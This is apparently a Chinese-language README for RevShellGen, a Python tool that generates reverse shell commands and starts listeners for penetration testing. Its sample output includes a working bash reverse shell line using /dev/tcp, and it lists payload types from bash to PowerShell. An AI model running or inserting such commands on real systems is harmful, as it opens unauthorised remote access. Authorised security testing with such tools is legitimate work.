
用 Python 3 编写的反向 Shell 生成器
反向 Shell 生成器
以优雅的方式自动化反向 Shell 生成
生成、编码、捕获反向 Shell,省去繁琐操作
RevShellGen 是一个强大的命令行工具,简化了生成反向 Shell 命令的过程。无需再查找语法,无需手动编码,无需头疼的配置。本工具通过直观的界面处理一切。
# 从 PyPI 安装
pip install revshellgen
# 运行工具
revshellgen
# 克隆仓库
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
# 安装依赖
pip3 install -r requirements.txt
# 运行工具
python3 revshellgen.py # 或 python3 revshellgen_cli.py
RevShellGen 需要以下 Python 包:
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt
# 可能需要安装 python3-dev
sudo apt-get install python3-dev # Debian/Ubuntu
sudo yum install python3-devel # RHEL/CentOS
# 安装 ncat 以获得更好的监听器支持
brew install nmap # 包含 ncat
启动工具
python3 revshellgen.py
配置反向 Shell
生成的命令自动复制到剪贴板
启动监听器(自动)
在目标机器上执行命令
![]() Shell 选择 |
![]() 命令生成 |
RevShellGen 现在包含全面的 TTY 升级说明。捕获 Shell 后,工具会提供:
工具自动检测并使用合适的 netcat 变体:
ncat(首选,来自 nmap 包)nc(传统 netcat)nc 语法支持$ python3 revshellgen.py
__ __ __
____ ___ _ __ ___ / / ___ / / / / ___ _ ___ ___
/ __// -_)| |/ / (_-< / _ \/ -_) / / / / / _ `// -_) / _ \
/_/ \__/ |___/ /___//_//_\__/ /_/ /_/ \_, / \__/ /_//_/
/___/
---------- [ 选择 IP ] ----------
[ x ] 192.168.1.10 on eth0
[ ] 10.0.0.5 on tun0
[ ] 手动指定
---------- [ 指定端口 ] ----------
[ # ] 输入端口号:4444
---------- [ 选择命令 ] ----------
[ x ] unix_bash
[ ] unix_python
[ ] unix_nc_mkfifo
...
---------- [ 反向 Shell 命令 ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
[ + ] 命令已复制到剪贴板!
[ + ] 正在端口 4444 上启动监听器...
欢迎贡献!请随时提交 Pull Request。对于重大更改,请先打开 issue 讨论您想要更改的内容。
# 克隆您的 fork
git clone https://github.com/YOUR_USERNAME/revshellgen
cd revshellgen
# 创建分支
git checkout -b feature/your-feature-name
# 做出更改并提交
git add .
git commit -m "添加您的功能"
# 推送到您的 fork
git push origin feature/your-feature-name
# 创建 Pull Request
发现 bug 或有建议?请在 GitHub 上打开 issue。
本项目采用 GNU 通用公共许可证 v3.0 授权 - 详见 LICENSE 文件。
本工具仅用于授权的渗透测试和教育目的。
对不属于您或未经明确许可测试的系统使用本工具是违法的。最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不承担任何责任,也不对因使用本程序导致的任何误用或损害负责。
| 包 | 用途 |
|---|
pyperclip | 剪贴板操作 |
colorama | 终端颜色 |
readchar | 交互式按键输入 |
netifaces | 网络接口检测 |
| Shell 类型 | 描述 | 平台 |
|---|
| Bash | Bash TCP 反向 Shell | Linux/Unix |
| Python | 基于 Python 的反向 Shell | 跨平台 |
| Netcat | 传统 nc 反向 Shell | Linux/Unix |
| Netcat mkfifo | 使用命名管道的 Netcat | Linux/Unix |
| Perl | 基于 Perl 的反向 Shell | 跨平台 |
| PHP | PHP 反向 Shell | 跨平台 |
| Ruby | 基于 Ruby 的反向 Shell | 跨平台 |
| Java | Java 反向 Shell | 跨平台 |
| AWK | AWK 反向 Shell | Linux/Unix |
| Socat | Socat 反向 Shell | Linux/Unix |
| Socat TTY | 带完整 TTY 的 Socat | Linux/Unix |
| Telnet | Telnet 反向 Shell | Linux/Unix |
| PowerShell | Windows PowerShell | Windows |